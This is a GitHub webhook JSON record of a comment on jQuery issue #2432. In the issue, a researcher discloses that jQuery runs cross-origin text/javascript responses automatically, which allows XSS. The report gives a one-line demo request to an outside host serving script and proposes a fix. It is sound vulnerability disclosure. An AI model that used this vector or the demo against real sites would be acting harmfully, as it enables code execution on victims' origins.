{"action":"created","issue":{"url":"https://api.github.com/repos/jquery/jquery/issues/2432","labels_url":"https://api.github.com/repos/jquery/jquery/issues/2432/labels{/name}","comments_url":"https://api.github.com/repos/jquery/jquery/issues/2432/comments","events_url":"https://api.github.com/repos/jquery/jquery/issues/2432/events","html_url":"https://github.com/jquery/jquery/issues/2432","id":91385079,"number":2432,"title":"Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses ","user":{"login":"homakov","id":174693,"avatar_url":"https://avatars.githubusercontent.com/u/174693?v=3","gravatar_id":"","url":"https://api.github.com/users/homakov","html_url":"https://github.com/homakov","followers_url":"https://api.github.com/users/homakov/followers","following_url":"https://api.github.com/users/homakov/following{/other_user}","gists_url":"https://api.github.com/users/homakov/gists{/gist_id}","starred_url":"https://api.github.com/users/homakov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/homakov/subscriptions","organizations_url":"https://api.github.com/users/homakov/orgs","repos_url":"https://api.github.com/users/homakov/repos","events_url":"https://api.github.com/users/homakov/events{/privacy}","received_events_url":"https://api.github.com/users/homakov/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":5,"created_at":"2015-06-26T23:26:29Z","updated_at":"2015-06-27T08:32:35Z","closed_at":null,"body":"Because of this https://github.com/jquery/jquery/blob/master/src/ajax/script.js#L18 every text/javascript response gets executed. Even if we made a request to another service. CORS was created exactly to prevent this kind of behavior in JSONP (arbitrary code execution).\r\n\r\nSo when we do $.get('http://weather.com/sf-weather') or like in Rails' jquery_ujs a form is being sent automatically, the attacker can respond us with text/javascript and execute arbitrary code on our origin.  Demo `$.get('http://sakurity.com/jqueryxss')`\r\n\r\nThe fix is to not execute responses from 3rd party origins by default and make it an option. Don't know who to cc to discuss it.\r\n\r\nP.S. I would switch it off for same origin either, because using subtle redirect_to saving tricks we can redirect user to local JSONP endpoint and still get an XSS but those are much more sophisticated vectors. "},"comment":{"url":"https://api.github.com/repos/jquery/jquery/issues/comments/115985719","html_url":"https://github.com/jquery/jquery/issues/2432#issuecomment-115985719","issue_url":"https://api.github.com/repos/jquery/jquery/issues/2432","id":115985719,"user":{"login":"cuidingfeng","id":2821160,"avatar_url":"https://avatars.githubusercontent.com/u/2821160?v=3","gravatar_id":"","url":"https://api.github.com/users/cuidingfeng","html_url":"https://github.com/cuidingfeng","followers_url":"https://api.github.com/users/cuidingfeng/followers","following_url":"https://api.github.com/users/cuidingfeng/following{/other_user}","gists_url":"https://api.github.com/users/cuidingfeng/gists{/gist_id}","starred_url":"https://api.github.com/users/cuidingfeng/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cuidingfeng/subscriptions","organizations_url":"https://api.github.com/users/cuidingfeng/orgs","repos_url":"https://api.github.com/users/cuidingfeng/repos","events_url":"https://api.github.com/users/cuidingfeng/events{/privacy}","received_events_url":"https://api.github.com/users/cuidingfeng/received_events","type":"User","site_admin":false},"created_at":"2015-06-27T08:32:35Z","updated_at":"2015-06-27T08:32:35Z","body":"https://github.com/cuidingfeng/jsplus"}}